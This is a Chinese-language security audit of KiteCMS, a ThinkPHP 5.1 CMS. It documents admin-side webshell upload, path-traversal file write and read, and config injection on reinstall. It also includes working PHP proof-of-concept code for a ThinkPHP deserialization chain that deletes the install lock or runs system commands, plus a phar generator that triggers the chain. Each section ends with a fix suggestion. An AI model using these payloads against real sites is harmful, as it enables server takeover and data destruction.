# 前言

代码审计期中选的一个 CMS,一个前台基本没有能利用的点,后台随便打的 cms

# 平台名称、版本及下载地址

链接:Kitesky/KiteCMS: KiteCMS 系统基于 Thinkphp 5.1.37 版本开发 (github.com)

# 环境

# 环境搭建

一个开源的 cms,所以去翻了一下文档,下面记录一下网站的安装。

image-20240424154829209

直接访问这个 install 这个路由,首先会显示用户使用协议

image-20240424155402677

然后会检查环境配置,检查目录的读写权限。检查函数和拓展是否开启

image-20240424155750108

然后下一步开始配置数据库连接信息和管理员账号。这里首先要先去 mysql 建一个 kitecms 数据库

image-20240424163413541

首页和后台就可以正常访问了

image-20240424164510580

image-20240424164526105

# 目录分析

image-20240425104135477

目录以及网站根目录的文件作用如下

.
├── addons
│   └── demo
│       ├── controller
│       ├── model
│       └── view
│           └── admin
├── application
│   ├── admin
│   │   ├── controller
│   │   └── view
│   │       ├── addons
│   │       ├── block
│   │       ├── category
│   │       ├── comments
│   │       ├── document
│   │       ├── document_field
│   │       ├── document_model
│   │       ├── feedback
│   │       ├── hooks
│   │       ├── index
│   │       ├── link
│   │       ├── log
│   │       ├── navigation
│   │       ├── order
│   │       ├── passport
│   │       ├── public
│   │       │   └── document
│   │       ├── role
│   │       ├── rule
│   │       ├── site
│   │       ├── slider
│   │       ├── tags
│   │       ├── template
│   │       └── user
│   ├── common
│   │   ├── behavior
│   │   ├── controller
│   │   ├── model
│   │   │   ├── page
│   │   │   └── upload
│   │   │       └── driver
│   │   ├── service
│   │   ├── taglib
│   │   └── validate
│   ├── index
│   │   └── controller
│   ├── install
│   │   ├── controller
│   │   ├── sql
│   │   └── view
│   │       └── index
│   ├── lang
│   └── member
│       ├── controller
│       └── view
│           ├── document
│           ├── index
│           ├── member
│           ├── order
│           ├── passport
│           └── public
├── config
│   └── index
├── extend
│   └── Aliyun
│       └── DySDKLite
├── public
│   └── static
│       ├── admin
│       │   └── dist
│       │       ├── css
│       │       │   ├── alt
│       │       │   └── skins
│       │       ├── img
│       │       └── js
│       │           └── pages
│       ├── bootstrap
│       │   ├── css
│       │   ├── fonts
│       │   └── js
│       ├── codemirror
│       │   ├── addon
│       │   ├── mode
│       │   └── theme
│       ├── cxselect
│       ├── font-awesome
│       │   ├── css
│       │   └── fonts
│       ├── jquery
│       ├── layui
│       │   ├── css
│       │   │   └── modules
│       │   │       ├── laydate
│       │   │       │   └── default
│       │   │       └── layer
│       │   │           └── default
│       │   ├── font
│       │   ├── images
│       │   │   └── face
│       │   └── lay
│       │       └── modules
│       ├── nestable
│       ├── select2
│       │   └── i18n
│       ├── sortable
│       ├── sweetalert
│       ├── treetable
│       │   ├── css
│       │   └── js
│       └── ueditor
│           ├── dialogs
│           │   ├── anchor
│           │   ├── attachment
│           │   │   ├── fileTypeImages
│           │   │   └── images
│           │   ├── background
│           │   │   └── images
│           │   ├── charts
│           │   │   └── images
│           │   ├── emotion
│           │   │   └── images
│           │   ├── gmap
│           │   ├── help
│           │   ├── image
│           │   │   └── images
│           │   ├── insertframe
│           │   ├── link
│           │   ├── map
│           │   ├── music
│           │   ├── preview
│           │   ├── scrawl
│           │   │   └── images
│           │   ├── searchreplace
│           │   ├── snapscreen
│           │   ├── spechars
│           │   ├── table
│           │   ├── template
│           │   │   └── images
│           │   ├── video
│           │   │   └── images
│           │   ├── webapp
│           │   └── wordimage
│           ├── lang
│           │   ├── en
│           │   │   └── images
│           │   └── zh-cn
│           │       └── images
│           ├── php
│           ├── themes
│           │   └── default
│           │       ├── css
│           │       └── images
│           └── third-party
│               ├── codemirror
│               ├── highcharts
│               │   ├── adapters
│               │   ├── modules
│               │   └── themes
│               ├── snapscreen
│               ├── SyntaxHighlighter
│               ├── video-js
│               │   └── font
│               ├── webuploader
│               └── zeroclipboard
├── route
├── runtime
├── theme
│   └── default
│       ├── category
│       ├── document
│       ├── search
│       ├── static
│       │   ├── css
│       │   ├── img
│       │   │   ├── ads
│       │   │   ├── avatar
│       │   │   ├── category
│       │   │   └── icon
│       │   └── js
│       │       └── slick
│       │           └── fonts
│       └── tags
├── thinkphp
│   ├── lang
│   ├── library
│   │   ├── think
│   │   │   ├── cache
│   │   │   │   └── driver
│   │   │   ├── config
│   │   │   │   └── driver
│   │   │   ├── console
│   │   │   │   ├── bin
│   │   │   │   ├── command
│   │   │   │   │   ├── make
│   │   │   │   │   │   └── stubs
│   │   │   │   │   └── optimize
│   │   │   │   ├── input
│   │   │   │   └── output
│   │   │   │       ├── descriptor
│   │   │   │       ├── driver
│   │   │   │       ├── formatter
│   │   │   │       └── question
│   │   │   ├── db
│   │   │   │   ├── builder
│   │   │   │   ├── connector
│   │   │   │   └── exception
│   │   │   ├── debug
│   │   │   ├── exception
│   │   │   ├── facade
│   │   │   ├── log
│   │   │   │   └── driver
│   │   │   ├── model
│   │   │   │   ├── concern
│   │   │   │   └── relation
│   │   │   ├── paginator
│   │   │   │   └── driver
│   │   │   ├── process
│   │   │   │   ├── exception
│   │   │   │   └── pipes
│   │   │   ├── response
│   │   │   ├── route
│   │   │   │   └── dispatch
│   │   │   ├── session
│   │   │   │   └── driver
│   │   │   ├── template
│   │   │   │   ├── driver
│   │   │   │   └── taglib
│   │   │   ├── validate
│   │   │   └── view
│   │   │       └── driver
│   │   └── traits
│   │       └── controller
│   └── tpl
├── upload
│   ├── 20190701
│   └── 20220112
└── vendor
    ├── aliyuncs
    │   └── oss-sdk-php
    │       ├── samples
    │       ├── src
    │       │   └── OSS
    │       │       ├── Core
    │       │       ├── Http
    │       │       ├── Model
    │       │       └── Result
    │       └── tests
    │           └── OSS
    │               └── Tests
    ├── composer
    ├── phpmailer
    │   └── phpmailer
    │       ├── language
    │       └── src
    ├── qiniu
    │   └── php-sdk
    │       ├── examples
    │       │   ├── rtc
    │       │   └── sms
    │       ├── src
    │       │   └── Qiniu
    │       │       ├── Cdn
    │       │       ├── Http
    │       │       ├── Processing
    │       │       ├── Rtc
    │       │       ├── Sms
    │       │       └── Storage
    │       └── tests
    │           └── Qiniu
    │               └── Tests
    ├── topthink
    │   ├── think-captcha
    │   │   ├── assets
    │   │   │   ├── bgs
    │   │   │   ├── ttfs
    │   │   │   └── zhttfs
    │   │   └── src
    │   ├── think-image
    │   │   ├── src
    │   │   │   └── image
    │   │   │       └── gif
    │   │   └── tests
    │   │       ├── images
    │   │       └── tmp
    │   └── think-installer
    │       └── src
    └── zzstudio
        └── think-addons
            └── src
                └── addons
  • addons :插件目录,用于存放应用的插件或模块化功能。

    • demo

      :示例插件或模块。

      • controller :控制器文件目录。

      • model :模型文件目录。

      • view

        :视图文件目录。

        • admin :管理后台视图文件目录。
  • application :应用程序目录,包含主要的应用程序代码和资源。

    • admin

      :管理后台应用模块目录。

      • controller :管理后台控制器文件目录。

      • view

        :管理后台视图文件目录。

        • 其他子目录:不同模块或功能的视图文件存放位置。
    • common

      :通用应用模块目录。

      • behavior :行为目录,存放行为类文件。

      • controller :通用控制器文件目录。

      • model

        :通用模型文件目录。

        • page :页面模型文件目录。

        • upload

          :上传模型文件目录。

          • driver :上传驱动文件目录。
      • service :服务文件目录。

      • taglib :标签库文件目录。

      • validate :验证器文件目录。

    • index

      :前台应用模块目录。

      • controller :前台控制器文件目录。
    • install

      :安装模块目录。

      • controller :安装控制器文件目录。

      • sql :安装 SQL 脚本文件目录。

      • view

        :安装视图文件目录。

        • index :安装视图模板文件目录。
    • lang :语言包目录。

  • config :配置文件目录,存放应用程序的配置文件。

  • extend :扩展目录,存放第三方库或扩展的文件。

    • Aliyun

      :阿里云 SDK 相关文件目录。

      • DySDKLite :阿里云短信 SDK 相关文件目录。
  • public :公共访问目录,存放公开访问的静态文件。

    • static

      :静态资源文件目录。

      • admin :后台管理静态资源文件目录。
  • route :路由配置文件目录。

  • runtime :运行时文件目录,存放运行时生成的临时文件。

  • theme :主题文件目录。

    • default

      :默认主题目录。

      • 其他子目录:不同模块或页面的主题文件存放位置。
  • thinkphp :框架核心文件目录,存放 ThinkPHP 框架的核心代码。

  • upload :上传文件存储目录,存放用户上传的文件。

  • vendor :Composer 依赖管理器目录,存放 Composer 安装的依赖库

# 后台文件上传漏洞审计

# 审计思路

首先明确一个点,后台漏洞是指我们通过管理员身份登录对网站配置做一些修改后能利用成功的漏洞。没有登录能访问的功能很少,一个登录一个搜索。均尝试无果后开始尝试注册账号测试

image-20240425153439916

登录成功后找到路由对应的文件位置

image-20240425162550314

在 index 这个方法中就直接去加载模版文件了,前台登录后的功能也不多。值得我们关注的大概率存在漏洞的地方就三个点,一个是密码修改,一个是发布信息和修改头像。密码这里无法利用在代码分析中会提到,这里不在赘述。那么在前台就剩发布信息这里何头像修改

image-20240425173955674

这里可以看到有两个上传文件的地方,尝试上传文件查看向后端的什么路由发起的请求

image-20240425175720012

这里可以看到文件上传请求的路径 /member/upload/uploadimage.html

image-20240425191658210

经过测试这里使用的是 think 的白名单,可以在面板修改后利用

# 代码分析

上面的分析部分是发布信息部分,该 cms 中文件上传所利用的代码都是下面这三行。所以该部分用头像上传的功能来调试文件上传的整个调用链

$file = Request::file('file');
        $uploadObj = new UploadFile($this->site_id);
        $ret = $uploadObj->upload($file);

首先将需要判断修改头像前端向后端的什么路由发起的请求来判断我们将断点下载什么位置调试比较方便

image-20240426105102066

这里可以看见请求的链接 /member/member/avatar.html,根据路由规则找到对应的文件

image-20240426110237523

这里可以看到文件上传的功能点也是上面所说的三行代码,这里将断点下在获取文件的这个位置来调试。这里的 request::file 是 tp 框架中获取表单上传文件

image-20240426112451759

tp 框架中常用的获取变量的方法如上图总结所示。接着向下调试,上传文件的逻辑在 $uploadObj->upload 方法中

image-20240426113231785

调用的是 UploadFile 文件下的 upload 方法,这里是上传头像,所以这里检查文件类型传入的是图片

image-20240426115801164

这里调用 check 函数检查,使用 config 获取配置信息来检查文件是否合规

image-20240426115845577

这里匹配的规则是前面 config 获取传入的

image-20240426123003879

这里可以看到默认配置是设置的白名单,只允许图片文件上传。所以这个漏洞只能后台利用

image-20240426123422343

在后台配置信息中这里加上 php 后缀就能成功利用这个漏洞,加上后重新上传调试到上面的位置

image-20240426124004063

这时看规则这里就已经可以上传 php 文件了

image-20240426124148348

文件大小和后缀检查过了之后接着向下调试就到这里了,这里是实际上将文件上传到服务端的位置。继续跟进

image-20240426124626287

这个代码部分有注释,很显然上传的点就在这个file>rule(date)>move(file->rule('date')->move(uploadPath); 跟进到这个函数中

image-20240426124802791

这个方法是 think 中的上传的功能,不在啰嗦。可以看到全称中除了白名单现在外没有什么点做过滤限制,所以这里就直接上传文件即可

# 调试调用链

image-20240426131815745

# 漏洞验证

在后台页面将 php 加入可上传的文件类型中

image-20240426123422343

然后就可以在上传头像的位置上传 php 木马,如下图所示

image-20240426125132523

然后就可以使用这个木马连接

image-20240426125553140

经过测试所有上传点都可以通过后台修改文件类型上传利用成功

# 修复建议

文件上传并不是漏洞的根本原因,该漏洞的根本原因是用户可以通过后台来控制上传文件的类型,所以修复可以将后台控制上传文件类型功能删除。使用强密码

# 任意文件写入漏洞审计

# 审计思路

对于后台利用最多的地方除了正常的文件上传的功能外,就是模版文件的修改这里大概率会存在漏洞了

image-20240426154908182

找到模版文件的控制部分发现可以直接修改文件内容,这里的文件名是通过 get 传入的。根据路由 admin/template/fileedit.html 在下面的方法

image-20240426155024620

发现修改是通过 file_put_contents 写入,经过测试发现文件名和文件内容可控存在任意文件写入漏洞

# 代码分析

如上图将断点下在 Request::param 接收参数的位置,如下图所示

image-20240426155658905

然后接下来提交一个修改里调试修改的流程

image-20240426155918084

首先这里接收 path 传入的参数,然后去初始化一个类来获取当前站点的主题信息

image-20240426160648999

接下来进到 if 判断,判断构建的完整路径是否存在,路径中是否包含 theme 字符串。这里没有做修改,默认的 404.html 是肯定存在的,所以接下向下调试

image-20240426160900504

首先判断是否是 post,如果是 post 就会判断文件权限是否可写,如果文件可写会获取 html 变量将其写入到文件中,如果文件不存在就会抛出 404 错误。这里对文件路径只判断是否存在 theme,可以通过目录穿越来修改任意一个已经存在的文件。

# 调试调用链

image-20240426162024151

# 漏洞验证

在网站根目录新建一个 test.php 文件

image-20240426162215368

然后尝试修改这个文件,构造请求如下

image-20240426162631778

这里加上 xdebug 参数

image-20240426162748369

这里构建目录穿越到网站跟目录的 test.php 文件

image-20240426162912239

可以看到这里修改成,然后去查看 test.php 这个文件

image-20240426162932631

可以看到修改成功,然后去写入一句话木马

image-20240426163040565

修改成功

image-20240426163027944

这里也直接连接即可

# 修复建议

在后台修改页面限制目录穿越。

# 任意文件读取漏洞审计

# 审计思路

在审计上面一个漏洞的时候发现其会将模版文件中的内容显示在页面上,所以这里去查找对应的功能实现点

image-20240426163239130

这里可以看到如果我们的请求不是 post 就会进入到下面的逻辑中,会调用 file_get_contents 读取文件内容。

# 代码分析

如上图将断点下在 Request::param 接收参数的位置,如下图所示

image-20240426155658905

然后接下来提交一个修改里调试修改的流程

image-20240426155918084

首先这里接收 path 传入的参数,然后去初始化一个类来获取当前站点的主题信息

image-20240426160648999

接下来进到 if 判断,判断构建的完整路径是否存在,路径中是否包含 theme 字符串。这里没有做修改,默认的 404.html 是肯定存在的,所以接下向下调试

image-20240426163239130

这里可以看到如果我们的请求不是 post 就会进入到下面的逻辑中,会调用 file_get_contents 读取文件内容。

# 调试调用链

image-20240426163647668

# 漏洞验证

image-20240426163714149

# 修复建议

在后台修改页面限制目录穿越。

# 反序列化任意文件删除漏洞审计

# 审计思路

反序列漏洞考虑的点就比较简单,主要是整个链子的构造比较困难。反序列化 pop 链的入口可以关注一下 __construct()__destruct() 这两个魔术方法。最后是在 /thinkphp/library/think/process/pipes/Windows.php __destruct ()

# 代码分析

image-20240426211631516

在 /thinkphp/library/think/process/pipes/Windows.php __destruct () 方法中这里会调用两个方法,一个是this>close();关闭,这个函数不必多说。一个是this->close();关闭,这个函数不必多说。一个是 this->removeFiles (); 根据这个方法名就可以看的出来,这个方法是用于删除文件的,因为这里是反序列化很容易能调用到的位置,所以这里不在通过调用进入,直接 ctrl + 左键

image-20240426211836964

这里调用的是一个该文件下的函数,用于删除临时文件,删除的文件名是从 $this->files 中拿到的

image-20240426212029181

files 数组是当前类中的一个私有类,我们可以很简单的通过反序列化控制,在该 cms 中没有反序列化的点,所以我们需要自己创建一个反序列化的入口点

image-20240426212633149

这里在该网站首页直接加上这样的功能,在后面可以配合 phar 反序列化但是现在先这样做验证,利用后我们可以删除网站安装的锁文件

# 漏洞验证

根据上面的分析构造 poc 如下

<?php
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['D:\phpstudy_pro\KiteCMS\application\install\install.lock'];
}
}
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjU2OiJEOlxwaHBzdHVkeV9wcm9cS2l0ZUNNU1xhcHBsaWNhdGlvblxpbnN0YWxsXGluc3RhbGwubG9jayI7fX0=

构造这样的 poc 后传入会删除网站安装的 lock 文件,导致我们可以重装网站

image-20240426220339770

然后看目录结构

image-20240426220403782

这里的文件就已经没有了

image-20240426220428648

# 修复建议

在 Windows 类中加入__wakeup 魔术方法,限制 files 数组变量

# 网站重装 rce 漏洞审计

# 审计思路

通过上面的 ThinkPHP 反序列化任意文件删除漏洞审计可以将 install.lock 文件删除后可以重新安装网站。

整个网站的逻辑都在 install/controller/Index.php 文件中,向这种网站安装的过程中通常会将我们填入的数据库相关信息替换到配置文件中

在安装文件中查找,找到了一个 file_put_contents 函数

image-20240426221151771

这里可以看到替换了我们斜土的信息到 database.php 文件下,网站重装漏洞一般的思路都比较单一,去修改数据库为我们的恶意数据库或者就是想配置文件中代码注入

# 代码分析

因为网站安装的所有流程都写在 install/controller/Index.php 文件中,这里直接在该文件的入口下断点来调试一下

image-20240427123341384

然后访问 install 路由

image-20240427124150739

这里可以看到,首先会获取 install.lock 的绝对路径,然后判断这个路径是否存在,如果存在就跳转路由到 index

image-20240427123402710

因为 install.lock 文件利用上一个漏洞已经删除了,所以这里能正常访问到安装的功能这里

image-20240427124020052

这里点开始安装后就会传入 step=2 进入到第二步

image-20240427131902540

这里调用本类中的 step2 方法

image-20240427131930850

在 step2 方法中主要是对环境做检查,直接 F9

image-20240427133604443

这里环境检查,没有什么能控制的点,直接下一步

image-20240427133706654

这里可以重置后台的账号密码,这里还是将断点下在入口,这里接着调试

image-20240427134155766

这里首先会获取到我们传入的所有的参数

image-20240427134248318

判断数据库能否正常连接,将我们输入的管理员的账号密码插入数据库

image-20240427134323067

这里将配置替换到数组中,然后通过 updateDatabase 方法,将配置写入配置文件中

image-20240427134520816

这里就直接做字符串替换,将我们输入的服务器地址,数据库名,数据库用户名,密码,端口,表前缀都写入配置文件中。因为前面的配置都是连接数据库所需要的,所以我们想要实现代码注入就只能利用这个表前缀

# 漏洞验证

',];     phpinfo();/*

image-20240427135401193

然后直接点击下一步

image-20240427135418051

# 修复建议

取消表前缀字段,或者直接将表前缀字段硬编码在代码中

# 反序列化 RCE 漏洞审计

# 审计思路

这里还是使用 ThinkPHP 的反序列化漏洞,这里反序列化的起点在前面 ThinkPHP 反序列化任意文件删除的时候就已经提到了,接着就是寻找危害函数,实际上能控制的地方很少。这里的寻找思路可以考虑__call 这个魔术方法,因为在该魔术方法中一般会存在回调函数来 rce

image-20240427174157552

类似这种不可控的当然就不考虑。找到一个两个参数都可控的位置来执行代码即可

# 代码分析

首先还是先看 thinkphp 入口这里

image-20240427174525184

这里会调用两个方法:close 和 removeFiles,他们分别用于结束进程和删除临时文件

image-20240427174708056

close 这个方法会遍历句柄将资源释放,没有能利用的点。接着将目光看向删除临时文件的方法上

image-20240427174913651

这里的功能也很简单,使用 foreach 遍历临时文件的数组,然后检查文件是否存在如果存在就删除

image-20240427175026155

在检查文件是否存在的时候使用是 file_exists 方法,而这个方法接受的参数类型是 String 类型,我们可以利用这个地方触发__toString 方法

image-20240427194651224

这里可以触发到这个 toString 方法中,在这里调用了本类中的 toJson 方法

image-20240427194803555

在这个方法中会转换当前模型对象为 JSON 字符串,同样这里也只调用了一个值得关注的类就是这个 toArray

image-20240427194920404

在 toArray 方法的后面找到一个可控变量>方法(参数可控)的地方就是可控变量->方法(参数可控)的地方就是 relation->visible ($name);

image-20240427195053056

首先,这里调用了一个 getRelation 方法。我们跟进 getRelation() ,它位于 Attribute 类中

image-20240427195100467

由于 getRelation() 下面的 if 语句为 if (!$relation) ,所以这里不用理会,返回空即可。然后调用了 getAttr 方法,我们跟进 getAttr 方法

image-20240427195128766

继续跟进 getData 方法

image-20240427195148622

通过查看 getData 函数我们可以知道 $relation 的值为 $this->data[$name] ,需要注意的一点是这里类的定义使用的是 Trait 而不是 class

所以,这里类的继承要使用 use 关键字。然后我们需要找到一个子类同时继承了 Attribute 类和 Conversion 类。

我们可以在 \thinkphp\library\think\Model.php 中找到这样一个类

image-20240427195329742

也就是说我们可以通过这个类来控制变量

image-20240427195410004

代码执行的点可以通过这个__call 魔术方法调用一个回调函数。在 /thinkphp/library/think/Request.php ,找到一个 __call 函数

image-20240427195605837

但是这里我们只能控制 $args 就比较难以利用,但是 $hook 这里是可控。我们可以构造一个 hook 数组 "visable"=>"method" ,但是 array_unshift() 向数组插入新元素时会将新数组的值将被插入到数组的开头。在 Thinkphp 的 Request 类中还有一个功能 filter 功能,我们可以尝试覆盖 filter 的方法去执行代码。

image-20240427195756886

但这里的 $value 不可控,所以我们需要找到可以控制 $value 的点。

image-20240427200147319

全局搜索调用发现了两处调用,发现这两个函数的参数都不能完全可控,最后在 inout 调用这里找到了可能性

image-20240427200455229

这里的 param 参数还是不可控,继续找

image-20240427200539516

isAjax 函数中,我们可以控制 $this->config['var_ajax']$this->config['var_ajax'] 可控就意味着 param 函数中的 $name 可控。 param 函数中的 $name 可控就意味着 input 函数中的 $name 可控。

param 函数可以获得 $_GET 数组并赋值给 $this->param

再回到 input 函数中

$data = $this->getData($data, $name);

$name 的值来自于 $this->config['var_ajax'] ,我们跟进 getData 函数。

protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }
        return $data;
    }

这里 $data 直接等于 $data[$val]

然后跟进 getFilter 函数

protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }
        $filter[] = $default;
        return $filter;
    }

这里的 $filter 来自于 this->filter ,我们需要定义 this->filter 为函数名。

我们再来看一下 input 函数,有这么几行代码

....
if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            ...

这是一个回调函数,跟进 filterValue 函数。

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
         .......

通过分析我们可以发现 filterValue.value 的值为第一个通过 GET 请求的值,而 filters.keyGET 请求的键,并且 filters.filters 就等于 input.filters 的值。

# 漏洞验证

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
    }
    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    echo base64_encode(serialize($a));
}
?>

image-20240427201035518

# 修复建议

使用 wekeup 来方式反序列化的发生

# phar rce

# 审计思路

在文件系统函数( file_exists()is_dir() 等)参数可控的情况下,配合 phar:// 伪协议,可以不依赖 unserialize() 直接进行反序列化操作。因为该 cms 是基于 thinkPHP5.1 版本二开的,本身是存在反序列化漏洞的,只是在默认情况下没有漏洞的触发点,但是如果过能找到文件系统函数开通过 phar 协议来实现反序列化就能成功利用。所以这里一块主要是寻找哪里能利用伪协议,最简单的方法就是直接检索函数,然后再判断参数是否可控。

image-20240426192051563

全局检索这些函数的参数是否可控即可

# 代码分析

这里就拿一个来说明,所有上面的函数参数可控的位置都可以利用该漏洞。

application/admin/controller/Admin.phpscanFilesForTree 方法

image-20240427202655232

这里可以的 dir 是通过 get 方法传入的,完全可控,只需要上传 phar 文件即可利用

# 漏洞验证

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
    }
    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); // 后缀名必须为 phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 设置 stub
    $phar->setMetadata($a); // 将自定义的 meta-data 存入 manifest
    $phar->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
    $phar->stopBuffering();
}
?>

将文件上传后直接利用即可

image-20240427203645756

# 修复建议

对上传的文件内容检查,禁止__HALT_COMPILER 存在